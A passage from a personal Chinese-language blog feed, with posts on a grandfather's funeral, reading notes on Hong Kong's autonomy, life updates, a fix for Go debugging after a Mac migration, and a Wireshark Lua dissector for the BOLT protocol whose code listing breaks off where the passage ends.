&lt;p&gt;谈了5年，跟前女友还是异地，之前也说要去她家看看，好像也因为各种原因没有去成，终于在5.1的时候，她爸妈来了一趟杭州，一半旅游，一半见我，之前对这个事情没有一个比较严肃的预期，最终见面可以说是很不愉快吧。各种原因，一方面，自己没有太上心，觉得都谈了5年了，父母能有什么意见呢，儿女觉得好就行吧，我爸妈对我的事情也是这么想的。所以我也没有多放在心上，一些照顾上可能没有做的非常好，另一方面，确实可能还是对未来的期望不太一样，我想留在杭州，不想去北京，过没有户口，比较挣扎的北漂生活，她爸妈问我为什么不在北京买房。买了房以后就是北京人了，我心里说实话，买得起，可是想着那然后呢。可能最终双方心里也没有达成什么共识吧。回去之后，也是各种不愉快的事情吧。现在都过去了。不能在一起，不是谁不好，其实都挺好的，只是真的不合适结婚吧。&lt;/p&gt;
&lt;p&gt;等到再回家的时候，已经是我爷爷喊我回去了。他说觉得自己不行了。让赶紧给我打电话。直接买当天最近的机票，基本上一路打车到机场，然后回家。到家之后，爷爷缓过来了。说话吃饭都正常，就是比以前吃的少了。肚子经常不舒服，让我坐他旁边，给他揉揉肚子，我作为家里第一个大学生，他突然开玩笑说，你看大学生给他爷爷揉肚子呢，我差点没忍掉眼泪，接着说，就是博士生也揉。这时候，家里人说，你爷爷再去世，你就别回来了，这一趟趟跑的，现在生前也见了，真去世了回来也没什么意义，爷爷口头上也这么说，但是我能看出来，他是希望我回来的，毕竟我是他觉得很骄傲的孙子，在家里呆了几天，也没啥事，然后就回杭州了。&lt;/p&gt;
&lt;p&gt;之后，也是每周发视频，看看爷爷，聊几句，那段时间我最担心的事情就是家里给我打电话。一直到上周周六，都还在发视频，那时候，看到他已经没力气说话了，但是意识清醒，也能听到我说话，家里也没说让我回去，结果第二天，早上6点，一看我妈给我打电话，我就预感不好，说让我立刻回家，我马上买了下一趟机票，开始往回赶。刚坐上飞机，接到刚赶到家的表姐的微信，爷爷走了，没等到你们。一瞬间，眼泪开始止不住地流。&lt;/p&gt;
&lt;p&gt;到家之后，看了一眼，已经太瘦了。然后由于风俗，选在了周四下葬，前几天晚上，我们几个孙子孙女轮流守夜，主要是不停的换香，添油，不能让香断掉，也不能让一个油灯灭掉。然后白天就是去吧通往墓地路上的杂草除掉，然后因为前三天都在下雨，担心挖好的墓会被灌水，给姑父和弟弟，还有姐夫迎着雨把墓盖好。防止被灌水，一旦灌水，一方面是风俗不好，另一方面，到时候会很难下葬。到了周四，居然还是阴天，大家都有点担心，如果下雨，地上比较泥泞的话，会很麻烦。可是，突然，天就那么晴了。艳阳高照，蓝天白云。&lt;/p&gt;
&lt;p&gt;于是，开始举行仪式，棺材合上的时候，忍不住开始流泪，从家出发，先是礼炮碎片产生的红地毯，然后是73响礼炮，从家到墓地，到了墓地之后，棺材推进去，然后开始封墓口，在墓口外面，一块块把砖递过去。看着他就那么静静躺着。之后，一阵黄土，爷爷就永远的埋在底下了。磕完最后一个头，回家。&lt;/p&gt;
&lt;p&gt;晚上，开始下大雨。想着从上大学离开家，这么多年，每周给爷爷奶奶打电话，问候他们，带他们去过武汉，去过杭州，苏州，本来还想去台湾的。但是各种原因错过了。&lt;/p&gt;
&lt;p&gt;想起了姑姑说的，他说周六的时候，爷爷跟她说，“我眼前看到了一条鲸鱼，你看到了吗”，姑姑说是吗，爷爷嘿嘿一笑。听到这个，突然觉得很诗意，像是他的一生。兢兢业业，为人和蔼善良，做过很多事情，也做得很好，教育了几个好女儿，也教育了几个孙子孙女。大家庭也很和睦。有爷爷在，总觉得有人在守护你，安稳而有力量。&lt;/p&gt;
&lt;p&gt;往事不可追，也不必追，珍惜当下和未来，今年这大半年已经发生了太多事情，往后照顾好父母家人，常回家看看。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Understand Hong Kong 2</title>
      <link>http://blog.leaver.me/2019/08/20/understand-hong-kong-2/</link>
      <pubDate>Tue, 20 Aug 2019 07:22:41 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/08/20/understand-hong-kong-2/</guid>
      <description>&lt;p&gt;上一篇中分享了几个书中的观点，结合我自己的理解给大家，今天分享另外几个问题。同样的，不欢迎争论。&lt;/p&gt;
&lt;h2 id=&#34;1-为什么香港无线电视被称为cctvb&#34;&gt;1. 为什么香港无线电视被称为CCTVB&lt;/h2&gt;
&lt;p&gt;从以下的投资方掌控可见一斑。不多赘述&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;投资管控&#34; loading=&#34;lazy&#34; src=&#34;images/cctv-hongkong.jpg&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;2-为什么外国政府经常对香港说三道四&#34;&gt;2. 为什么外国政府经常对香港说三道四&lt;/h2&gt;
&lt;p&gt;首先，香港体制是要求香港政府邀请其它国家久香港事务发表意见的。。尽管中国政府经常宣布香港事务属于中国内政，但是站在外国政府的立场上，他们如何和香港打交道也是他们的内政，他们必须在设定对港政策前，先对中国和大陆的关系作出独立的评价。这是正常的政府行为。&lt;/p&gt;
&lt;p&gt;香港要成为一个特区，很大程度上，还是需要外国政府的认同的。比如北韩将某个地方设置为特区，但是其它国家不承认，那么跟没有一样的。美国-香港政策法上也有类似的规定。如果总统断定香港已经没有足够的自治，以获得美国政府的差别待遇，那么政府可以暂停对香港的特殊对待。比如目前一些科技产品可以出口到香港，而禁止到大陆，那么一旦美国认为香港已经不再高度自治，可以是停止这种优惠的，一旦停止，对香港其实是不利的。&lt;/p&gt;
&lt;h2 id=&#34;3-香港是否在真的高度自治&#34;&gt;3. 香港是否在真的高度自治&lt;/h2&gt;
&lt;p&gt;这个能类比的就是美国的州和联邦政府的关系。而实际上作者认为，表面上高度自治，实际上，比美国联邦下面的一个州还要低。政治学上，自治政权的权力离不开以下五点&lt;/p&gt;
&lt;p&gt;3.1.自治政府的地位和权力来源&lt;/p&gt;
&lt;p&gt;这里要回答，为什么别人承认你，谁赋予你自治与管制的权力。&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;权力来源&#34; loading=&#34;lazy&#34; src=&#34;images/power-hongkong.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;3.2.自治政权本身的政府如何组成&lt;/p&gt;
&lt;p&gt;政府如何组成。香港从上图可以看到。来自中央政府的任命。&lt;/p&gt;
&lt;p&gt;3.3.自治政权如何参与全国事务&lt;/p&gt;
&lt;p&gt;以香港为例，在如今的政治制度下面，香港参与全国事务，并影响的可能性微乎其微，这是因为目前中国的人大制度，决定了香港基本上投票权也影响不了大局。&lt;/p&gt;
&lt;p&gt;3.4.如果与中央政府出现矛盾，谁来裁定&lt;/p&gt;
&lt;p&gt;假设自治政府出现和中央政府不同的法律政策，不同的意见或者判断，谁来裁定，如何裁定，以及如何服众。目前 “基本法》第四十三条规定：「香港特別行政区行政长官依照本法的规定对中央人民政府和香港特別行政区负责”，这种双线汇报导致行动受限。一旦出现问题，此时行政长官很难办，该听谁的。。&lt;/p&gt;
&lt;p&gt;所以实际上，产生冲突的时候，还是中央说了算。&lt;/p&gt;
&lt;p&gt;3.5.如何和中央政府分权。&lt;/p&gt;
&lt;p&gt;按照《基本法》，除了外交和国防以外，特区政府可以全面管理各种内部事务，可以发行自己的护照和货币，又不用向中央政府交税，更可参加各个国际组织和与外国商讨贸易协议。
注意，这是表面上。因为实际中，首先，香港特区长官由中央政府任命，甚至也包括主要其他官员，那么基本上，相当于世纪上自治甚弱。&lt;/p&gt;
&lt;h2 id=&#34;4-最后&#34;&gt;4. 最后&lt;/h2&gt;
&lt;p&gt;同理心与逻辑能帮我们更好的理解这个世界。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Understand Hong Kong Part 1</title>
      <link>http://blog.leaver.me/2019/08/18/understand-hong-kong-part-1/</link>
      <pubDate>Sun, 18 Aug 2019 15:26:23 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/08/18/understand-hong-kong-part-1/</guid>
      <description>&lt;p&gt;最近香港事件比较大，当你想要尝试理解一件事情的时候，你会发现自己对香港的理解仅仅停留在自古以来是中国的领土，97年回归等粗浅的概念上。恰好看到一本书《香港第一课》，今天分享其中一部分，我不会按照书籍的章节来，今天主要分享三个部分，按照我感触最深的来分享。注意，并非热衷政治，也不欢迎任何争论，谢谢。&lt;/p&gt;
&lt;h2 id=&#34;1-香港自古以来是中国的领土&#34;&gt;1. 香港自古以来是中国的领土？&lt;/h2&gt;
&lt;p&gt;这要看你怎么说，历朝历代属于过，也割让过，甚至牺牲过，现在这句话多用来支撑一些具体的政治立场，例如，香港不应该反抗中央政府的决定，但是这句话有两个问题&lt;/p&gt;
&lt;p&gt;一是世界不停改变，过去可做参考，但是不足以决定未来
二是考虑到此地，历朝历代都被作为了牺牲与剥削的角色，不停的强调自古以来，对强化香港人的中国情结没啥帮助。&lt;/p&gt;
&lt;p&gt;作者提出了一个反例，对待中俄的边界问题，我们是否也会说自古以来？并作为政治立场来占领？也就是说，即使对这句话认同，也并不能推导出中港现在的政治关系，更不能决定。&lt;/p&gt;
&lt;h2 id=&#34;2-中国是否对香港是恩主心态&#34;&gt;2. 中国是否对香港是恩主心态？&lt;/h2&gt;
&lt;p&gt;这个引申为一种误解，不只是中国和香港，包括中国与周边的一些小国，媒体长期以来通过各种的负面的宣传，像是打预防针一样，使得大陆的人对香港人产生一种抵触，一旦香港发生政治诉求，不会触发在大陆的效仿，也不会获得来自大陆人的同情。并且，这种负面宣传，让很多大陆人总是认为中国一直在施舍香港，没有大陆，香港早就完了类似的心态，这种恩主心态，让大家站在了不平等也不一致的立场上，实际上，交易即为互惠，没有谁占谁便宜说。所以要平等的心态。&lt;/p&gt;
&lt;h2 id=&#34;3-中港对特区政治制度的最大分歧&#34;&gt;3. 中港对特区政治制度的最大分歧？&lt;/h2&gt;
&lt;p&gt;接受/认可一个政权，简而言之，要回答一个问题“你凭什么可以管治我”，毕竟大家并非荒岛居民，因此只要多余一个人，我们就要有规则来制衡，而这时候就要问，谁有权力决定这些规则。其他人为何又要服从。而当有人拒绝时，应该以什么方式实施或者重新定义。&lt;/p&gt;
&lt;p&gt;最简单的当然最赤裸的就是暴力，但是这样做很没有效率。而且暴力本身也可能被暴力吞噬，要建立认可，对权力的认可，&lt;/p&gt;
&lt;p&gt;一种是靠神话，比如皇帝说自己是天子，但是如果另一个人说自己是天子。那么权利就会受到挑战，&lt;/p&gt;
&lt;p&gt;另一种就是靠个人魅力。比如会演讲之类的。&lt;/p&gt;
&lt;p&gt;然而生命有限，因此现在政权的核心，当出现危机时，如何以非战争，内战，或者流血政变的方式，讲权力平移，减少对社会的冲击，这就是民主制度的根本，新的权力得到认可，而替换下来的人可以有机会重新获得政权。&lt;/p&gt;
&lt;p&gt;那么问题来了。为什么香港接受英国的管辖？
1.当时香港大量接受从中国过来的难民，比去中国当时67年糟糕的形势，他们对港府的要求下降。
2.战后，香港经济快速发展，比大陆更加开放和稳定，因此政府可以用来作为成果。
3.之后，97年因为要港人治港了。心态是所以反正要走了。大家更懒的折腾了。&lt;/p&gt;
&lt;p&gt;所以，这就说明，香港人并不认可目前的制度能带上更好的未来。&lt;/p&gt;
&lt;h2 id=&#34;个人&#34;&gt;个人&lt;/h2&gt;
&lt;p&gt;作者给我的感觉就是讲道理。逻辑清晰。“你凭什么可以管治我” 更是震聋发聩，想必只有站在香港人的角度，多些理解，才能避免激进或粉红，比如那个环球的记者的言论，对解决问题毫无帮助，纯粹挑起争端，用周星驰的话来说，“这种要求我这辈子都没见过”。 最后希望问题和平理性解决。&lt;/p&gt;</description>
    </item>
    <item>
      <title>错过的都是命，得到的才是人生</title>
      <link>http://blog.leaver.me/2019/07/09/%E9%94%99%E8%BF%87%E7%9A%84%E9%83%BD%E6%98%AF%E5%91%BD%E5%BE%97%E5%88%B0%E7%9A%84%E6%89%8D%E6%98%AF%E4%BA%BA%E7%94%9F/</link>
      <pubDate>Tue, 09 Jul 2019 05:49:14 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/07/09/%E9%94%99%E8%BF%87%E7%9A%84%E9%83%BD%E6%98%AF%E5%91%BD%E5%BE%97%E5%88%B0%E7%9A%84%E6%89%8D%E6%98%AF%E4%BA%BA%E7%94%9F/</guid>
      <description>&lt;p&gt;今天新家算是刚刚收拾好了。最近一直处于比较忙碌的状态，工作的，生活的，都得一个人搞定，偶尔跟家里汇报一下。简单记录一下好了。&lt;/p&gt;
&lt;p&gt;5月底开始定下一套二手房之后，就开始了比较漫长的流程阶段。请了一些假，今天为止，除了更换的冰箱还没到之外，其他的基本上暂时都搞定了。已经住了两天，自己一个人住还是挺好的。就是老担心出门忘记带钥匙，于是换了个指纹锁。其他的东西能不换的都暂时没动，等慢慢再看了。&lt;/p&gt;
&lt;p&gt;家里爷爷身体不好，也回家了一段时间，大家都要注意身体。身体真的是本钱，对爷爷是有一点点遗憾的，一个是没有来得及带他们去台湾玩，另一个就是自己对婚姻的事情一直不怎么上心。想到还是带他们去了一些地方玩，在从上大学之后的这10年里，给爸妈联系的倒不是很多，但是每周基本上固定的会给爷爷奶奶打电话，工作后，给他们买了手机，就经常能够视频，心里也稍微能好受一下。&lt;/p&gt;
&lt;p&gt;工作上的事情，即将迎来自己毕业工作的整整5年。之前由于转岗，没能在工作4年的时候晋升，今年相对顺利，在中间件成为了技术专家，和一同入职的同事比起来，不算是优秀吧。最优秀的同学在3年的时候，就完成了，稍微晚一点的是4年，而自己5年了，但也算达成了一个小目标，多和自己比比就好了。起码5年到自己认可的7也算是对得起自己。&lt;/p&gt;
&lt;p&gt;爱情上的事情，一言难尽。&lt;/p&gt;
&lt;p&gt;回顾这5年，很多事情，本来可以做得更早，但是在年轻的时候，没有这种意识，导致错过了很多，比如带爷爷奶奶旅游，这几年物价上涨，房价飞涨，不过现在房子买了，工作也上了一层，跟新主管聊晋升的时候，未来也有了一个初步的，比较清晰的个人成长目标，怎么达成还没想好。未来还有很多事情要做。&lt;/p&gt;
&lt;p&gt;总之，最近一个比较深的感触，错过的都是命，得到的才是人生。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Recently</title>
      <link>http://blog.leaver.me/2019/04/06/recently/</link>
      <pubDate>Sat, 06 Apr 2019 22:04:09 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/04/06/recently/</guid>
      <description>&lt;p&gt;最近有点烦，焦虑，感情，工作，生活，都不是很顺利。难以排解。&lt;/p&gt;
&lt;p&gt;生活上，发生了太意外的事情，毫无准备，却也无能为力。&lt;/p&gt;
&lt;p&gt;感情上，突然进入了一个难以处理的境地。那些曾经不是问题的现在都变成了问题，难以逾越。&lt;/p&gt;
&lt;p&gt;工作上，焦虑，对现状和未来有不少担忧，希望未来几个月能想清楚吧。&lt;/p&gt;
&lt;p&gt;总之，年龄大了，有时候想的太多，反倒让自己快乐还是很难的。算了，先换个头像吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mac迁移导致Golang无法debug的问题修复</title>
      <link>http://blog.leaver.me/2019/03/01/mac%E8%BF%81%E7%A7%BB%E5%AF%BC%E8%87%B4golang%E6%97%A0%E6%B3%95debug%E7%9A%84%E9%97%AE%E9%A2%98%E4%BF%AE%E5%A4%8D/</link>
      <pubDate>Fri, 01 Mar 2019 07:13:54 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/03/01/mac%E8%BF%81%E7%A7%BB%E5%AF%BC%E8%87%B4golang%E6%97%A0%E6%B3%95debug%E7%9A%84%E9%97%AE%E9%A2%98%E4%BF%AE%E5%A4%8D/</guid>
      <description>&lt;p&gt;最近，使用Mac的迁移助手之后，突然出现一个奇怪的问题。我的golang 用goland 或者vscode都会出现间歇性的无法debug，表现为第一次debug，断点可以停下来。再调试一遍就会直接走过&lt;/p&gt;
&lt;p&gt;而如果你直接在项目中执行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dlv debug 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;会看到如下的报错&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Unexpected header files xxxx uint64_t 之类的
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;网上搜了一下都没有解决。。&lt;/p&gt;
&lt;p&gt;并给出了具体的文件目录。这个看着是c库的一些文件，当时我记得迁移完成后，brew提示有一些库有问题。&lt;/p&gt;
&lt;p&gt;执行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;brew doctor
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;会看到&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Warning: Unbrewed header files were found in /usr/local/include.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;If you didn&amp;#39;t put them there on purpose they could cause problems when
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;building Homebrew formulae, and may need to be deleted.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Unexpected header files:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  /usr/local/include/node/openssl/archs/BSD-x86_64/asm/crypto/include/internal/bn_conf.h
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  /usr/local/include/node/openssl/archs/BSD-x86_64/asm/crypto/include/internal/dso_conf.h
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  /usr/local/include/node/openssl/archs/BSD-x86_64/asm/include/openssl/opensslconf.h
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  /usr/local/include/node/openssl/archs/BSD-x86_64/no-asm/crypto/buildinf.h
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  /usr/local/include/node/openssl/archs/BSD-x86_64/no-asm/crypto/include/internal/bn_conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;于是，拷贝下来，一个for循环，将这些文件全部删除。之后再执行dlv debug 就好了。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Social Network Break</title>
      <link>http://blog.leaver.me/2019/01/20/social-network-break/</link>
      <pubDate>Sun, 20 Jan 2019 17:28:19 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/01/20/social-network-break/</guid>
      <description>&lt;p&gt;最早我有QQ，没有什么人找我谈工作。想看就看，不想看就不看，半个月后再回复也行。&lt;/p&gt;
&lt;p&gt;后来QQ没了，我开始用微信，加了几个人，偶尔朋友圈发个照片，发个吐槽。&lt;/p&gt;
&lt;p&gt;后来微信成了工作群，分组分类又是很麻烦的事情，所以基本能不发就不发了。&lt;/p&gt;
&lt;p&gt;后来有了钉钉，彻底毁了生活，无尽的钉与无尽的免费工作电话骚扰。不分时间和地点。&lt;/p&gt;
&lt;p&gt;微博又太过公开，娱乐至上，也基本废弃。&lt;/p&gt;
&lt;p&gt;人和人就是这样，在不断的走近中，最终破坏彼此的界限。让一些人走近自己最私密的圈子，之后则开始顾虑，在想要被看到，到想被少数人看到，到不想被任何人看到，逐步变得更孤独。&lt;/p&gt;
&lt;p&gt;技术产品带来美好的同时，又亲手将它毁坏。而技术人员本身最终会变成客服，所有的生活变得不值一提，就像得到的与失去的。&lt;/p&gt;
&lt;p&gt;&amp;ndash;来自一个周末的吐槽。不要介意，我只是随便说说，毕竟，谁也不容易。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Record for 2018</title>
      <link>http://blog.leaver.me/2019/01/06/record-for-2018/</link>
      <pubDate>Sun, 06 Jan 2019 17:33:38 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/01/06/record-for-2018/</guid>
      <description>&lt;p&gt;2018总结&lt;/p&gt;
&lt;h2 id=&#34;工作&#34;&gt;工作&lt;/h2&gt;
&lt;h3 id=&#34;11-养活自己的&#34;&gt;1.1 养活自己的&lt;/h3&gt;
&lt;p&gt;2018年，工作上一切如常，第一感觉比往年更累，似乎也没啥可说的。事情很多，也很杂，一些事情没有好的设计和提前规划，希望来年能腾出一点时间，做一些好的设计和方案。&lt;/p&gt;
&lt;h3 id=&#34;12-技术上&#34;&gt;1.2 技术上&lt;/h3&gt;
&lt;p&gt;个人的技术上，底层中间件熟悉了一些，对Golang熟悉了不少，也读了一些代码，19年多些完整的分布式和容器服务的阅读列表，让知识体系更完整些。&lt;/p&gt;
&lt;h2 id=&#34;生活&#34;&gt;生活&lt;/h2&gt;
&lt;h3 id=&#34;21-文哥&#34;&gt;2.1 文哥&lt;/h3&gt;
&lt;p&gt;最重要的放在最前面，感情依然很好。差不多快5年了。“最爱你的人是我”。&lt;/p&gt;
&lt;h3 id=&#34;22-花钱买到的很值的&#34;&gt;2.2 花钱买到的很值的&lt;/h3&gt;
&lt;p&gt;年中的时候，买了一个 Bose QC35 蓝牙耳机，体检极佳，目前使用率极高，在火车，飞机和加班的时候，非常好用。年末的时候文哥赞助我入手了一台iPhoneX，省心不少。也不用折腾流畅性了。&lt;/p&gt;
&lt;h3 id=&#34;23-迁移的软件服务&#34;&gt;2.3 迁移的软件服务&lt;/h3&gt;
&lt;p&gt;从 Google Reader 到 Feedly，终于在年中末的时候，将 Feedly 进行了注销，从此告别 RSS 了。从此也没有好的信息来源了。基本就靠主动搜索和读书了。&lt;/p&gt;
&lt;p&gt;有了 iPhone 之后，除了Google Photos和Gmail，其他的 Google 产品，比如日历记事，Keep笔记，都全部迁移到了iOS自带的。&lt;/p&gt;
&lt;p&gt;印象笔记，Bear 等也在今年进行了废弃，转换过程中也将自己的笔记基本上通读了一遍，精简了不少。告别了收集癖。基本都是自己整理的了。目前笔记直接使用 iOS 的 notes&lt;/p&gt;
&lt;p&gt;读书除了一些买的书，大部分还是读电子版，iOS自带的读书软件很好用。笔记本和手机可以同步。&lt;/p&gt;
&lt;h3 id=&#34;24-一趟旅行&#34;&gt;2.4 一趟旅行&lt;/h3&gt;
&lt;p&gt;团队outing去了一趟塞班，月亮却是国外的圆，水却是国外的清。&lt;/p&gt;
&lt;h3 id=&#34;25-其他&#34;&gt;2.5 其他&lt;/h3&gt;
&lt;p&gt;来来回回，总算把杭州户口搞定了。买房的事情提上日程，只有这时候，才觉得自己这几年做的似乎并不那么好。 手上也没多少钱，有合适的就开始摇号中。31号跟同事和文哥在杭州吃了个饭，算是跨年了。&lt;/p&gt;
&lt;p&gt;各种App的所谓年终总结也就不贴了。电影看的比较多。音乐听了一些老歌。&lt;/p&gt;
&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;
&lt;p&gt;总结的话，就是感觉累，分身乏术，离年轻人越来越远，热点大多数也不知道，在这种事情上越来越后知后觉，生活和工作上使用的东西，也越来越追求简单够用。不再追求那种大而全的软件或者功能，越简单越好。&lt;/p&gt;
&lt;p&gt;2019年已经来了。希望一切更好吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Wireshark可用的BOLT协议解析插件</title>
      <link>http://blog.leaver.me/2018/11/17/wireshark%E5%8F%AF%E7%94%A8%E7%9A%84bolt%E5%8D%8F%E8%AE%AE%E8%A7%A3%E6%9E%90%E6%8F%92%E4%BB%B6/</link>
      <pubDate>Sat, 17 Nov 2018 20:37:28 +0800</pubDate>
      <guid>http://blog.leaver.me/2018/11/17/wireshark%E5%8F%AF%E7%94%A8%E7%9A%84bolt%E5%8D%8F%E8%AE%AE%E8%A7%A3%E6%9E%90%E6%8F%92%E4%BB%B6/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/leizhiyuan/bolt-dissector&#34;&gt;https://github.com/leizhiyuan/bolt-dissector&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;自己平常看协议,经常看到眼花,所以写了一个解析 SOFARPC 中 BOLT 协议的 wiresharks 插件&lt;/p&gt;
&lt;p&gt;Wireshark是排查网络问题最常用的工具，它已经内置支持了上百种通用协议，扩展性也好,对于私有协议,还是得自己写的.对 C 不熟,但是 Lua 看了一下语法,还是挺简单的.&lt;/p&gt;
&lt;p&gt;插件是使用lua开发的，安装比较简单，以OS X平台为例：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将协议解析脚本拷贝到/Applications/Wireshark.app/Contents/Resources/share/wireshark/ 目录&lt;/li&gt;
&lt;li&gt;(非必须) 编辑init.lua文件，设置disable_lua = false，确保lua支持打开,默认是打开的.一般就不要操作了.&lt;/li&gt;
&lt;li&gt;在init.lua文件末尾增加,当然你也可以写全路径.
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	dofile(&amp;#34;bolt.lua&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;再次启动Wireshark，会对12200端口的数据流使用脚本解析，已经可以识别BOLT协议了。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;参考文档&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://wiki.wireshark.org/LuaAPI&#34;&gt;https://wiki.wireshark.org/LuaAPI&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;附上 lua脚本
目前只支持 boltv1,稍后看看改一下支持 boltv2和 tr,方便大家理解 和抓包.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-lua&#34; data-lang=&#34;lua&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;--- Created by bystander.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;--- DateTime: 2018/11/16 8:57 AM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- declare the protocol&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;bolt_proto&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Proto&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;SOFA BOLT Protocol&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- declare the value strings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_proto&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
